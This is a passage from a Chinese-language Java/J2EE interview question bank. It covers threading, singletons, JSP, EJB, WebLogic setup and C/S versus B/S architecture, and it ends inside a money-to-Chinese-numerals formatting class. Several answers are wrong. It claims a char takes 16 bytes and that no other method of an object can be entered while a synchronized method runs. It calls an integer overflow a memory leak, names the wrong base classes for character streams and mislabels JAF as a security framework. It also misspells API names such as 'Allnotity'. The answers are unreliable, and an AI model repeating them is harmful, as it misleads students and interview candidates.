47、当一个线程进入一个对象的一个synchronized方法后,其它线程是否可进入此对象的其它方法?
不能,一个对象的一个synchronized方法只能由一个线程访问。
48、编程题: 写一个Singleton出来。
Singleton模式主要作用是保证在Java应用程序中,一个类Class只有一个实例存在。一般Singleton模式通常有几种种形式:第一种形式: 定义一个类,它的构造函数为private的,它有一个static的private的该类变量,在类初始化时实例话,通过一个public的getInstance方法获取对它的引用,继而调用其中的方法。public class Singleton {private Singleton(){} private static Singleton instance = new Singleton(); public static Singleton getInstance() { return instance; } } 第二种形式: public class Singleton { private static Singleton instance = null; public static synchronized Singleton getInstance() { if (instance==null) instance=new Singleton();
return instance; } } 其他形式: 定义一个类,它的构造函数为private的,所有方法为static的。一般认为第一种形式要更加安全些
49、Java的接口和C++的虚类的相同和不同处。
由于Java不支持多继承,而有可能某个类或对象要使用分别在几个类或对象里面的方法或属性,现有的单继承机制就不能满足要求。与继承相比,接口有更高的灵活性,因为接口中没有任何实现代码。当一个类实现了接口以后,该类要实现接口里面所有的方法和属性,并且接口里面的属性在默认状态下面都是public static,所有方法默认情况下是public.一个类可以实现多个接口。
50、Java中的异常处理机制的简单原理和应用。
当JAVA程序违反了JAVA的语义规则时,JAVA虚拟机就会将发生的错误表示为一个异常。违反语义规则包括2种情况。一种是JAVA类库内置的语义检查。例如数组下标越界,会引发IndexOutOfBoundsException;访问null的对象时会引发NullPointerException。另一种情况就是JAVA允许程序员扩展这种语义检查,程序员可以创建自己的异常,并自由选择在何时用throw关键字引发异常。所有的异常都是java.lang.Thowable的子类。
51、垃圾回收的优点和原理。并考虑2种回收机制。
Java语言中一个显著的特点就是引入了垃圾回收机制,使c++程序员最头疼的内存管理的问题迎刃而解,它使得Java程序员在编写程序的时候不再需要考虑内存管理。由于有个垃圾回收机制,Java中的对象不再有“作用域”的概念,只有对象的引用才有“作用域”。垃圾回收可以有效的防止内存泄露,有效的使用可以使用的内存。垃圾回收器通常是作为一个单独的低级别的线程运行,不可预知的情况下对内存堆中已经死亡的或者长时间没有使用的对象进行清楚和回收,程序员不能实时的调用垃圾回收器对某个对象或所有对象进行垃圾回收。回收机制有分代复制垃圾回收和标记垃圾回收,增量垃圾回收
52、请说出你所知道的线程同步的方法。
wait():使一个线程处于等待状态,并且释放所持有的对象的lock。sleep():使一个正在运行的线程处于睡眠状态,是一个静态方法,调用此方法要捕捉InterruptedException异常。notify():唤醒一个处于等待状态的线程,注意的是在调用此方法的时候,并不能确切的唤醒某一个等待状态的线程,而是由JVM确定唤醒哪个线程,而且不是按优先级。Allnotity():唤醒所有处入等待状态的线程,注意并不是给所有唤醒线程一个对象的锁,而是让它们竞争。
53、你所知道的集合类都有哪些?主要方法?最常用的集合类是 List 和 Map。 List 的具体实现包括 ArrayList 和 Vector,它们是可变大小的列表,比较适合构建、存储和操作任何类型对象的元素列表。 List 适用于按数值索引访问元素的情形。 Map 提供了一个更通用的元素存储方法。 Map 集合类用于存储元素对(称作“键”和“值”),其中每个键映射到一个值。
54、描述一下JVM加载class文件的原理机制?JVM中类的装载是由ClassLoader和它的子类来实现的,Java ClassLoader 是一个重要的Java运行时系统组件。它负责在运行时查找和装入类文件的类。
55、char型变量中能不能存贮一个中文汉字?为什么?
能够定义成为一个中文的,因为java中以unicode编码,一个char占16个字节,所以放一个中文是没问题的
56、多线程有几种实现方法,都是什么?同步有几种实现方法,都是什么?
多线程有两种实现方法,分别是继承Thread类与实现Runnable接口 ,同步的实现方面有两种,分别是synchronized,wait与notify
57、JSP的内置对象及方法。
request表示HttpServletRequest对象。它包含了有关浏览器请求的信息,并且提供了几个用于获取cookie, header, 和session数据的有用的方法,response表示HttpServletResponse对象,并提供了几个用于设置送回浏览器的响应的方法(如cookies,头信息等)
out对象是javax.jsp.JspWriter的一个实例,并提供了几个方法使你能用于向浏览器回送输出结果。 pageContext表示一个javax.servlet.jsp.PageContext对象。它是用于方便存取各种范围的名字空间、servlet相关的对象的API,并且包装了通用的servlet相关功能的方法。 session表示一个请求的javax.servlet.http.HttpSession对象。Session可以存贮用户的状态信息 applicaton 表示一个javax.servle.ServletContext对象。这有助于查找有关servlet引擎和servlet环境的信息 config表示一个javax.servlet.ServletConfig对象。该对象用于存取servlet实例的初始化参数。 page表示从该页面产生的一个servlet实例
58、线程的基本概念、线程的基本状态以及状态之间的关系线程指在程序执行过程中,能够执行程序代码的一个执行单位,每个程序至少都有一个线程,也就是程序本身。Java中的线程有四种状态分别是:运行、就绪、挂起、结束。
59、JSP的常用指令<%@page language=”java” contenType=”text/html;charset=gb2312” session=”true” buffer=”64kb” autoFlush=”true” isThreadSafe=”true” info=”text” errorPage=”error.jsp” isErrorPage=”true” isELIgnored=”true” pageEncoding=”gb2312” import=”java.sql.*”%>isErrorPage(是否能使用Exception对象),isELIgnored(是否忽略表达式) <%@include file=”filename”%><%@taglib prefix=”c”uri=”http://……”%>
60、什么情况下调用doGet()和doPost()?Jsp页面中的form标签里的method属性为get时调用doGet(),为post时调用doPost()。
61、servlet的生命周期web容器加载servlet,生命周期开始。通过调用servlet的init()方法进行servlet的初始化。通过调用service()方法实现,根据请求的不同调用不同的do***()方法。结束服务,web容器调用servlet的destroy()方法。
62、如何现实servlet的单线程模式 <%@ page isThreadSafe=”false”%>
63、页面间对象传递的方法 request,session,application,cookie等
64、JSP和Servlet有哪些相同点和不同点,他们之间的联系是什么?
JSP是Servlet技术的扩展,本质上是Servlet的简易方式,更强调应用的外表表达。JSP编译后是"类servlet"。Servlet和JSP最主要的不同点在于,Servlet的应用逻辑是在Java文件中,并且完全从表示层中的HTML里分离开来。而JSP的情况是Java和HTML可以组合成一个扩展名为.jsp的文件。JSP侧重于视图,Servlet主要用于控制逻辑。
65、四种会话跟踪技术 cookie,url重写,session,隐藏域
65,jsp的四种范围
page否是代表与一个页面相关的对象和属性。一个页面由一个编译好的 Java servlet 类(可以带有任何的 include 指令,但是没有 include 动作)表示。这既包括 servlet 又包括被编译成 servlet 的 JSP 页面
request是是代表与 Web 客户机发出的一个请求相关的对象和属性。一个请求可能跨越多个页面,涉及多个 Web 组件(由于 forward 指令和 include 动作的关系)
session是是代表与用于某个 Web 客户机的一个用户体验相关的对象和属性。一个 Web 会话可以也经常会跨越多个客户机请求
application是是代表与整个 Web 应用程序相关的对象和属性。这实质上是跨越整个 Web 应用程序,包括多个页面、请求和会话的一个全局作用域
66、Request对象的主要方法:
setAttribute(String name,Object):设置名字为name的request的参数值
getAttribute(String name):返回由name指定的属性值
getAttributeNames():返回request对象所有属性的名字集合,结果是一个枚举的实例
getCookies():返回客户端的所有Cookie对象,结果是一个Cookie数组
getCharacterEncoding():返回请求中的字符编码方式
getContentLength():返回请求的Body的长度
getHeader(String name):获得HTTP协议定义的文件头信息
getHeaders(String name):返回指定名字的request Header的所有值,结果是一个枚举的实例
getHeaderNames():返回所以request Header的名字,结果是一个枚举的实例
getInputStream():返回请求的输入流,用于获得请求中的数据
getMethod():获得客户端向服务器端传送数据的方法
getParameter(String name):获得客户端传送给服务器端的有name指定的参数值
getParameterNames():获得客户端传送给服务器端的所有参数的名字,结果是一个枚举的实例
getParameterValues(String name):获得有name指定的参数的所有值
getProtocol():获取客户端向服务器端传送数据所依据的协议名称
getQueryString():获得查询字符串
getRequestURI():获取发出请求字符串的客户端地址
getRemoteAddr():获取客户端的IP地址
getRemoteHost():获取客户端的名字
getSession([Boolean create]):返回和请求相关Session
getServerName():获取服务器的名字
getServletPath():获取客户端所请求的脚本文件的路径
getServerPort():获取服务器的端口号
removeAttribute(String name):删除请求中的一个属性
67、J2EE是技术还是平台还是框架?J2EE本身是一个标准,一个为企业分布式应用的开发提供的标准平台。
J2EE也是一个框架,包括JDBC、JNDI、RMI、JMS、EJB、JTA等技术。
68、我们在web应用开发过程中经常遇到输出某种编码的字符,如iso8859-1等,如何输出一个某种编码的字符串?
Public String translate (String str) { String tempStr = ""; try { tempStr = new String(str.getBytes("ISO-8859-1"), "GBK"); tempStr = tempStr.trim(); } catch (Exception e) { System.err.println(e.getMessage()); } return tempStr; }
69、简述逻辑操作(&,|,^)与条件操作(&&,||)的区别。区别主要答两点:a.条件操作只能操作布尔型的,而逻辑操作不仅可以操作布尔型,而且可以操作数值型b.逻辑操作不会产生短路
70、XML文档定义有几种形式?它们之间有何本质区别?解析XML文档有哪几种方式?
a: 两种形式 dtd schema,b: 本质区别:schema本身是xml的,可以被XML解析器解析(这也是从DTD上发展schema的根本目的),c:有DOM,SAX,STAX等 DOM:处理大型文件时其性能下降的非常厉害。这个问题是由DOM的树结构所造成的,这种结构占用的内存较多,而且DOM必须在解析文件之前把整个文档装入内存,适合对XML的随机访问 SAX:不现于DOM,SAX是事件驱动型的XML解析方式。它顺序读取XML文件,不需要一次全部装载整个文件。当遇到像文件开头,文档结束,或者标签开头与标签结束时,它会触发一个事件,用户通过在其回调事件中写入处理代码来处理XML文件,适合对XML的顺序访问 STAX:Streaming API for XML (StAX)
71、简述synchronized和java.util.concurrent.locks.Lock的异同?
主要相同点:Lock能完成synchronized所实现的所有功能主要不同点:Lock有比synchronized更精确的线程语义和更好的性能。synchronized会自动释放锁,而Lock一定要求程序员手工释放,并且必须在finally从句中释放。
72、EJB的角色和三个对象
一个完整的基于EJB的分布式计算结构由六个角色组成,这六个角色可以由不同的开发商提供,每个角色所作的工作必须遵循Sun公司提供的EJB规范,以保证彼此之间的兼容性。这六个角色分别是EJB组件开发者(Enterprise Bean Provider) 、应用组合者(Application Assembler)、部署者(Deployer)、EJB 服务器提供者(EJB Server Provider)、EJB 容器提供者(EJB Container Provider)、系统管理员(System Administrator)三个对象是Remote(Local)接口、Home(LocalHome)接口,Bean类
73、EJB容器提供的服务主要提供声明周期管理、代码产生、持续性管理、安全、事务管理、锁和并发行管理等服务。
74、EJB规范规定EJB中禁止的操作有哪些? 1.不能操作线程和线程API(线程API指非线程对象的方法如notify,wait等),2.不能操作awt,3.不能实现服务器功能,4.不能对静态属生存取,5.不能使用IO操作直接存取文件系统,6.不能加载本地库.,7.不能将this作为变量和返回,8.不能循环调用。
75、remote接口和home接口主要作用remote接口定义了业务方法,用于EJB客户端调用业务方法。home接口是EJB工厂用于创建和移除查找EJB实例
76、bean 实例的生命周期对于Stateless Session Bean、Entity Bean、Message Driven Bean一般存在缓冲池管理,而对于Entity Bean和Statefull Session Bean存在Cache管理,通常包含创建实例,设置上下文、创建EJB Object(create)、业务方法调用、remove等过程,对于存在缓冲池管理的Bean,在create之后实例并不从内存清除,而是采用缓冲池调度机制不断重用实例,而对于存在Cache管理的Bean则通过激活和去激活机制保持Bean的状态并限制内存中实例数量。
77、EJB的激活机制 以Stateful Session Bean 为例:其Cache大小决定了内存中可以同时存在的Bean实例的数量,根据MRU或NRU算法,实例在激活和去激活状态之间迁移,激活机制是当客户端调用某个EJB实例业务方法时,如果对应EJB Object发现自己没有绑定对应的Bean实例则从其去激活Bean存储中(通过序列化机制存储实例)回复(激活)此实例。状态变迁前会调用对应的ejbActive和ejbPassivate方法。
78、EJB的几种类型会话(Session)Bean ,实体(Entity)Bean 消息驱动的(Message Driven)Bean ;会话Bean又可分为有状态(Stateful)和无状态(Stateless)两种;实体Bean可分为Bean管理的持续性(BMP)和容器管理的持续性(CMP)两种
79、客服端调用EJB对象的几个基本步骤设置JNDI服务工厂以及JNDI服务地址系统属性,查找Home接口,从Home接口调用Create方法创建Remote接口,通过Remote接口调用其业务方法。
80、如何给weblogic指定大小的内存? 在启动Weblogic的脚本中(位于所在Domian对应服务器目录下的startServerName),增加set MEM_ARGS=-Xms32m -Xmx200m,可以调整最小内存为32M,最大200M
81、如何设定的weblogic的热启动模式(开发模式)与产品发布模式?可以在管理控制台中修改对应服务器的启动模式为开发或产品模式之一。或者修改服务的启动文件或者commenv文件,增加set PRODUCTION_MODE=true。
82、如何启动时不需输入用户名与密码?修改服务启动文件,增加 WLS_USER和WLS_PW项。也可以在boot.properties文件中增加加密过的用户名和密码.
83、在weblogic管理制台中对一个应用域(或者说是一个网站,Domain)进行jms及ejb或连接池等相关信息进行配置后,实际保存在什么文件中?保存在此Domain的config.xml文件中,它是服务器的核心配置文件。
84、说说weblogic中一个Domain的缺省目录结构?比如要将一个简单的helloWorld.jsp放入何目录下,然的在浏览器上就可打入http://主机:端口号//helloword.jsp就可以看到运行结果了? 又比如这其中用到了一个自己写的javaBean该如何办?
Domain目录\服务器目录\applications,将应用目录放在此目录下将可以作为应用访问,如果是Web应用,应用目录需要满足Web应用目录要求,jsp文件可以直接放在应用目录中,Javabean需要放在应用目录的WEB-INF目录的classes目录中,设置服务器的缺省应用将可以实现在浏览器上无需输入应用名。
85、在weblogic中发布ejb需涉及到哪些配置文件不同类型的EJB涉及的配置文件不同,都涉及到的配置文件包括ejb-jar.xml,weblogic-ejb-jar.xmlCMP实体Bean一般还需要weblogic-cmp-rdbms-jar.xml
86、如何在weblogic中进行ssl配置与客户端的认证配置或说说j2ee(标准)进行ssl的配置缺省安装中使用DemoIdentity.jks和DemoTrust.jks KeyStore实现SSL,需要配置服务器使用Enable SSL,配置其端口,在产品模式下需要从CA获取私有密钥和数字证书,创建identity和trust keystore,装载获得的密钥和数字证书。可以配置此SSL连接是单向还是双向的。
87、如何查看在weblogic中已经发布的EJB?可以使用管理控制台,在它的Deployment中可以查看所有已发布的EJB
88、CORBA是什么?用途是什么? CORBA 标准是公共对象请求代理结构(Common Object Request Broker Architecture),由对象管理组织 (Object Management Group,缩写为 OMG)标准化。它的组成是接口定义语言(IDL), 语言绑定(binding:也译为联编)和允许应用程序间互操作的协议。其目的为:用不同的程序设计语言书写在不同的进程中运行,为不同的操作系统开发。
89、说说你所熟悉或听说过的j2ee中的几种常用模式?及对设计模式的一些看法
Session Facade Pattern:使用SessionBean访问EntityBean;Message Facade Pattern:实现异步调用;EJB Command Pattern:使用Command JavaBeans取代SessionBean,实现轻量级访问;Data Transfer Object Factory:通过DTO Factory简化EntityBean数据提供特性;Generic Attribute Access:通过AttibuteAccess接口简化EntityBean数据提供特性;Business Interface:通过远程(本地)接口和Bean类实现相同接口规范业务逻辑一致性;EJB架构的设计好坏将直接影响系统的性能、可扩展性、可维护性、组件可重用性及开发效率。项目越复杂,项目队伍越庞大则越能体现良好设计的重要性。
90、说说在weblogic中开发消息Bean时的persistent与non-persisten的差别persistent方式的MDB可以保证消息传递的可靠性,也就是如果EJB容器出现问题而JMS服务器依然会将消息在此MDB可用的时候发送过来,而non-persistent方式的消息将被丢弃。
91、Servlet执行时一般实现哪几个方法?public void init(ServletConfig config);public ServletConfig getServletConfig();public String getServletInfo();public void service(ServletRequest request,ServletResponse response);public void destroy()
92、常用的设计模式?说明工厂模式。 Java中的23种设计模式:Factory(工厂模式),Builder(建造模式), Factory Method(工厂方法模式),Prototype(原始模型模式),Singleton(单例模式), Facade(门面模式),Adapter(适配器模式), Bridge(桥梁模式), Composite(合成模式),Decorator(装饰模式), Flyweight(享元模式), Proxy(代理模式),Command(命令模式), Interpreter(解释器模式), Visitor(访问者模式),Iterator(迭代子模式), Mediator(调停者模式), Memento(备忘录模式),Observer(观察者模式),State(状态模式),Strategy(策略模式),Template Method(模板方法模式), Chain Of Responsibleity(责任链模式)。工厂模式:工厂模式是一种经常被使用到的模式,根据工厂模式实现的类可以根据提供的数据生成一组类中某一个类的实例,通常这一组类有一个公共的抽象父类并且实现了相同的方法,但是这些方法针对不同的数据进行了不同的操作。首先需要定义一个基类,该类的子类通过不同的方法实现了基类中的方法。然后需要定义一个工厂类,工厂类可以根据条件生成不同的子类实例。当得到子类的实例后,开发人员可以调用基类中的方法而不必考虑到底返回的是哪一个子类的实例。
93、EJB需直接实现它的业务接口或Home接口吗,请简述理由。远程接口和Home接口不需要直接实现,他们的实现代码是由服务器产生的,程序运行中对应实现类会作为对应接口类型的实例被使用。
94、排序都有哪几种方法?请列举。用JAVA实现一个快速排序。排序的方法有:插入排序(直接插入排序、希尔排序),交换排序(冒泡排序、快速排序),选择排序(直接选择排序、堆排序),归并排序,分配排序(箱排序、基数排序)
快速排序的伪代码。/ /使用快速排序方法对a[ 0 :n- 1 ]排序,从a[ 0 :n- 1 ]中选择一个元素作为m i d d l e,该元素为支点,
把余下的元素分割为两段left 和r i g h t,使得l e f t中的元素都小于等于支点,而right 中的元素都大于等于支点,递归地使用快速排序方法对left 进行排序,递归地使用快速排序方法对right 进行排序,所得结果为l e f t + m i d d l e + r i g h t。
95、请对以下在J2EE中常用的名词进行解释(或简单描述)web容器:给处于其中的应用程序组件(JSP,SERVLET)提供一个环境,使JSP,SERVLET直接更容器中的环境变量接口交互,不必关注其它系统问题。主要有WEB服务器来实现。例如:TOMCAT,WEBLOGIC,WEBSPHERE等。该容器提供的接口严格遵守J2EE规范中的WEB APPLICATION 标准。我们把遵守以上标准的WEB服务器就叫做J2EE中的WEB容器。EJB容器:Enterprise java bean 容器。更具有行业领域特色。他提供给运行在其中的组件EJB各种管理功能。只要满足J2EE规范的EJB放入该容器,马上就会被容器进行高效率的管理。并且可以通过现成的接口来获得系统级别的服务。例如邮件服务、事务管理。JNDI:(Java Naming & Directory Interface)JAVA命名目录服务。主要提供的功能是:提供一个目录系统,让其它各地的应用程序在其上面留下自己的索引,从而满足快速查找和定位分布式应用程序的功能。JMS:(Java Message Service)JAVA消息服务。主要实现各个应用程序之间的通讯。包括点对点和广播。JTA:(Java Transaction API)JAVA事务服务。提供各种分布式事务服务。应用程序只需调用其提供的接口即可。JAF:(Java Action FrameWork)JAVA安全认证框架。提供一些安全控制方面的框架。让开发者通过各种部署和自定义实现自己的个性安全控制策略。RMI/IIOP:(Remote Method Invocation /internet对象请求中介协议)他们主要用于通过远程调用服务。例如,远程有一台计算机上运行一个程序,它提供股票分析服务,我们可以在本地计算机上实现对其直接调用。当然这是要通过一定的规范才能在异构的系统之间进行通信。RMI是JAVA特有的。
96、JAVA语言如何进行异常处理,关键字:throws,throw,try,catch,finally分别代表什么意义?在try块中可以抛出异常吗?
Java通过面向对象的方法进行异常处理,把各种不同的异常进行分类,并提供了良好的接口。在Java中,每个异常都是一个对象,它是Throwable类或其它子类的实例。当一个方法出现异常后便抛出一个异常对象,该对象中包含有异常信息,调用这个对象的方法可以捕获到这个异常并进行处理。Java的异常处理是通过5个关键词来实现的:try、catch、throw、throws和finally。一般情况下是用try来执行一段程序,如果出现异常,系统会抛出(throws)一个异常,这时候你可以通过它的类型来捕捉(catch)它,或最后(finally)由缺省处理器来处理。用try来指定一块预防所有“异常”的程序。紧跟在try程序后面,应包含一个catch子句来指定你想要捕捉的“异常”的类型。throw语句用来明确地抛出一个“异常”。throws用来标明一个成员函数可能抛出的各种“异常”。Finally为确保一段代码不管发生什么“异常”都被执行一段代码。可以在一个成员函数调用的外面写一个try语句,在这个成员函数内部写另一个try语句保护其他代码。每当遇到一个try语句,“异常”的框架就放到堆栈上面,直到所有的try语句都完成。如果下一级的try语句没有对某种“异常”进行处理,堆栈就会展开,直到遇到有处理这种“异常”的try语句。
97、一个“.java”源文件中是否可以包括多个类(不是内部类)?有什么限制?可以。必须只有一个类名与文件名相同。
98、MVC的各个部分都有那些技术来实现?如何实现? MVC是Model-View-Controller的简写。"Model" 代表的是应用的业务逻辑(通过JavaBean,EJB组件实现), "View" 是应用的表示面(由JSP页面产生),"Controller" 是提供应用的处理过程控制(一般是一个Servlet),通过这种设计模型把应用逻辑,处理过程和显示逻辑分成不同的组件实现。这些组件可以进行交互和重用。
99、java中有几种方法可以实现一个线程?用什么关键字修饰同步方法? stop()和suspend()方法为何不推荐使用?有两种实现方法,分别是继承Thread类与实现Runnable接口用synchronized关键字修饰同步方法反对使用stop(),是因为它不安全。它会解除由线程获取的所有锁定,而且如果对象处于一种不连贯状态,那么其他线程能在那种状态下检查和修改它们。结果很难检查出真正的问题所在。suspend()方法容易发生死锁。调用suspend()的时候,目标线程会停下来,但却仍然持有在这之前获得的锁定。此时,其他任何线程都不能访问锁定的资源,除非被“挂起”的线程恢复运行。对任何线程来说,如果它们想恢复目标线程,同时又试图使用任何一个锁定的资源,就会造成死锁。所以不应该使用suspend(),而应在自己的Thread类中置入一个标志,指出线程应该活动还是挂起。若标志指出线程应该挂起,便用wait()命其进入等待状态。若标志指出线程应当恢复,则用一个notify()重新启动线程。
100、java中有几种类型的流?JDK为每种类型的流提供了一些抽象类以供继承,请说出他们分别是哪些类?
字节流,字符流。字节流继承于InputStream \ OutputStream,字符流继承于InputStreamReader \ OutputStreamWriter。在java.io包中还有许多其他的流,主要是为了提高性能和使用方便。
101、java中会存在内存泄漏吗,请简单描述。会。如:int i,i2; return (i-i2); //when i为足够大的正数,i2为足够大的负数。结果会造成溢位,导致错误。
102、java中实现多态的机制是什么?方法的重写Overriding和重载Overloading是Java多态性的不同表现。重写Overriding是父类与子类之间多态性的一种表现,重载Overloading是一个类中多态性的一种表现。
103、垃圾回收器的基本原理是什么?垃圾回收器可以马上回收内存吗?有什么办法主动通知虚拟机进行垃圾回收?对于GC来说,当程序员创建对象时,GC就开始监控这个对象的地址、大小以及使用情况。通常,GC采用有向图的方式记录和管理堆(heap)中的所有对象。通过这种方式确定哪些对象是"可达的",哪些对象是"不可达的"。当GC确定一些对象为"不可达"时,GC就有责任回收这些内存空间。可以。程序员可以手动执行System.gc(),通知GC运行,但是Java语言规范并不保证GC一定会执行。
104、静态变量和实例变量的区别?static i = 10; //常量; class A a; a.i =10;//可变
105、什么是java序列化,如何实现java序列化?
序列化就是一种用来处理对象流的机制,所谓对象流也就是将对象的内容进行流化。可以对流化后的对象进行读写操作,也可将流化后的对象传输于网络之间。序列化是为了解决在对对象流进行读写操作时所引发的问题。序列化的实现:将需要被序列化的类实现Serializable接口,该接口没有需要实现的方法,implements Serializable只是为了标注该对象是可被序列化的,然后使用一个输出流(如:FileOutputStream)来构造一个ObjectOutputStream(对象流)对象,接着,使用ObjectOutputStream对象的writeObject(Object obj)方法就可以将参数为obj的对象写出(即保存其状态),要恢复的话则用输入流。
106、是否可以从一个static方法内部发出对非static方法的调用?不可以,如果其中包含对象的method();不能保证对象初始化.
107、写clone()方法时,通常都有一行代码,是什么?Clone 有缺省行为,super.clone();他负责产生正确大小的空间,并逐位复制。
108、在JAVA中,如何跳出当前的多重嵌套循环?用break; return 方法。
109、List、Map、Set三个接口,存取元素时,各有什么特点?List 以特定次序来持有元素,可有重复元素。Set 无法拥有重复元素,内部排序。Map 保存key-value值,value可多值。
110、J2EE是什么?J2EE是Sun公司提出的多层(multi-diered),分布式(distributed),基于组件(component-base)的企业级应用模型(enterpriese application model).在这样的一个应用系统中,可按照功能划分为不同的组件,这些组件又可在不同计算机上,并且处于相应的层次(tier)中。所属层次包括客户层(clietn tier)组件,web层和组件,Business层和组件,企业信息系统(EIS)层。
111、UML方面标准建模语言UML。用例图,静态图(包括类图、对象图和包图),行为图,交互图(顺序图,合作图),实现图。
112、说出一些常用的类,包,接口,请各举5个常用的类:BufferedReader BufferedWriter FileReader FileWirter String Integer;常用的包:java.lang java.awt java.io java.util java.sql;常用的接口:Remote List Map Document NodeList
113、开发中都用到了那些设计模式?用在什么场合? 每个模式都描述了一个在我们的环境中不断出现的问题,然后描述了该问题的解决方案的核心。通过这种方式,你可以无数次地使用那些已有的解决方案,无需在重复相同的工作。主要用到了MVC的设计模式。用来开发JSP/Servlet或者J2EE的相关应用。简单工厂模式等。
114、jsp有哪些动作?作用分别是什么? JSP共有以下6种基本动作 jsp:include:在页面被请求的时候引入一个文件。 jsp:useBean:寻找或者实例化一个JavaBean。 jsp:setProperty:设置JavaBean的属性。 jsp:getProperty:输出某个JavaBean的属性。 jsp:forward:把请求转到一个新的页面。 jsp:plugin:根据浏览器类型为Java插件生成OBJECT或EMBED标记。
115、Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类,是否可以implements(实现)interface(接口)? 可以继承其他类或完成其他接口,在swing编程中常用此方式。
116、应用服务器与WEB SERVER的区别?应用服务器:Weblogic、Tomcat、Jboss; WEB SERVER:IIS、 Apache
117、BS与CS的联系与区别。
C/S是Client/Server的缩写。服务器通常采用高性能的PC、工作站或小型机,并采用大型数据库系统,如Oracle、Sybase、Informix或 SQL Server。客户端需要安装专用的客户端软件。
B/S是Brower/Server的缩写,客户机上只要安装一个浏览器(Browser),如Netscape Navigator或Internet Explorer,服务器安装Oracle、Sybase、Informix或 SQL Server等数据库。在这种结构下,用户界面完全通过WWW浏览器实现,一部分事务逻辑在前端实现,但是主要事务逻辑在服务器端实现。浏览器通过Web Server 同数据库进行数据交互。
C/S 与 B/S 区别:
1.硬件环境不同: C/S 一般建立在专用的网络上, 小范围里的网络环境, 局域网之间再通过专门服务器提供连接和数据交换服务; B/S 建立在广域网之上的, 不必是专门的网络硬件环境,例与电话上网, 租用设备. 信息自己管理. 有比C/S更强的适应范围, 一般只要有操作系统和浏览器就行
2.对安全要求不同 :C/S 一般面向相对固定的用户群, 对信息安全的控制能力很强. 一般高度机密的信息系统采用C/S 结构适宜. 可以通过B/S发布部分可公开信息.B/S 建立在广域网之上, 对安全的控制能力相对弱, 可能面向不可知的用户。
3.对程序架构不同 : C/S 程序可以更加注重流程, 可以对权限多层次校验, 对系统运行速度可以较少考虑. B/S 对安全以及访问速度的多重的考虑, 建立在需要更加优化的基础之上. 比C/S有更高的要求 B/S结构的程序架构是发展的趋势, 从MS的.Net系列的BizTalk 2000 Exchange 2000等, 全面支持网络的构件搭建的系统. SUN 和IBM推的JavaBean 构件技术等,使 B/S更加成熟.
4.软件重用不同: C/S 程序可以不可避免的整体性考虑, 构件的重用性不如在B/S要求下的构件的重用性好. B/S 对的多重结构,要求构件相对独立的功能. 能够相对较好的重用.就入买来的餐桌可以再利用,而不是做在墙上的石头桌子。
5.系统维护不同 :C/S 程序由于整体性, 必须整体考察, 处理出现的问题以及系统升级. 升级难. 可能是再做一个全新的系统, B/S 构件组成,方面构件个别的更换,实现系统的无缝升级. 系统维护开销减到最小.用户从网上自己下载安装就可以实现升级.
6.处理问题不同 :C/S 程序可以处理用户面固定, 并且在相同区域, 安全要求高需求, 与操作系统相关. 应该都是相同的系统,B/S 建立在广域网上, 面向不同的用户群, 分散地域, 这是C/S无法作到的. 与操作系统平台关系最小.
7.用户接口不同: C/S 多是建立的Window平台上,表现方法有限,对程序员普遍要求较高,B/S 建立在浏览器上, 有更加丰富和生动的表现方式与用户交流. 并且大部分难度减低,减低开发成本.
8.信息流不同 : C/S 程序一般是典型的中央集权的机械式处理, 交互性相对低,B/S 信息流向可变化, B-B B-C B-G等信息、流向的变化, 更像交易中心。
JAVA编程题
1.现在输入n个数字,以逗号,分开;然后可选择升或者降序排序;按提交键就在另一页面显示按什么排序,结果为,提供reset
import java.util.*;
public class bycomma{
public static String[] splitStringByComma(String source){
if(source==null||source.trim().equals(""))
return null;
StringTokenizer commaToker = new StringTokenizer(source,",");
String[] result = new String[commaToker.countTokens()];
int i=0;
while(commaToker.hasMoreTokens()){
result[i] = commaToker.nextToken();
i++;
}
return result;
}
public static void main(String args[]){
String[] s = splitStringByComma("5,8,7,4,3,9,1");
int[] ii = new int[s.length];
for(int i = 0;i<s.length;i++){
ii[i] =Integer.parseInt(s[i]);
}
Arrays.sort(ii);
//asc
for(int i=0;i<s.length;i++){
System.out.println(ii[i]);
}
//desc
for(int i=(s.length-1);i>=0;i--){
System.out.println(ii[i]);
}
}
}
2.金额转换,阿拉伯数字的金额转换成中国传统的形式如:(¥1011)->(一千零一拾一元整)输出。
package test.format;
import java.text.NumberFormat;
import java.util.HashMap;
public class SimpleMoneyFormat {
public static final String EMPTY = "";
public static final String ZERO = "零";
public static final String ONE = "壹";
public static final String TWO = "贰";
public static final String THREE = "叁";
public static final String FOUR = "肆";
public static final String FIVE = "伍";
public static final String SIX = "陆";
public static final String SEVEN = "柒";
public static final String EIGHT = "捌";
public static final String NINE = "玖";
public static final String TEN = "拾";
public static final String HUNDRED = "佰";
public static final String THOUSAND = "仟";
public static final String TEN_THOUSAND = "万";
public static final String HUNDRED_MILLION = "亿";
public static final String YUAN = "元";
public static final String JIAO = "角";
public static final String FEN = "分";
public static final String DOT = ".";
private static SimpleMoneyFormat formatter = null;
private HashMap chineseNumberMap = new HashMap();
private HashMap chineseMoneyPattern = new HashMap();
private NumberFormat numberFormat = NumberFormat.getInstance();
private SimpleMoneyFormat() {
numberFormat.setMaximumFractionDigits(4);
numberFormat.setMinimumFractionDigits(2);
numberFormat.setGroupingUsed(false);
chineseNumberMap.put("0", ZERO);
chineseNumberMap.put("1", ONE);
chineseNumberMap.put("2", TWO);
chineseNumberMap.put("3", THREE);
chineseNumberMap.put("4", FOUR);
chineseNumberMap.put("5", FIVE);
chineseNumberMap.put("6", SIX);
chineseNumberMap.put("7", SEVEN);
chineseNumberMap.put("8", EIGHT);
chineseNumberMap.put("9", NINE);
chineseNumberMap.put(DOT, DOT);
chineseMoneyPattern.put("1", TEN);
chineseMoneyPattern.put("2", HUNDRED);
chineseMoneyPattern.put("3", THOUSAND);
chineseMoneyPattern.put("4", TEN_THOUSAND);
chineseMoneyPattern.put("5", TEN);
chineseMoneyPattern.put("6", HUNDRED);
chineseMoneyPattern.put("7", THOUSAND);
chineseMoneyPattern.put("8", HUNDRED_MILLION);
}
public static SimpleMoneyFormat getInstance() {
if (formatter == null)
formatter = new SimpleMoneyFormat();
return formatter;
}
public String format(String moneyStr) {
checkPrecision(moneyStr);
String result;
result = convertToChineseNumber(moneyStr);
result = addUnitsToChineseMoneyString(result);
return result;
}
public String format(double moneyDouble) {
return format(numberFormat.format(moneyDouble));
}
public String format(int moneyInt) {
return format(numberFormat.format(moneyInt));
}
public String format(long moneyLong) {
return format(numberFormat.format(moneyLong));
}
public String format(Number moneyNum) {
return format(numberFormat.format(moneyNum));
}
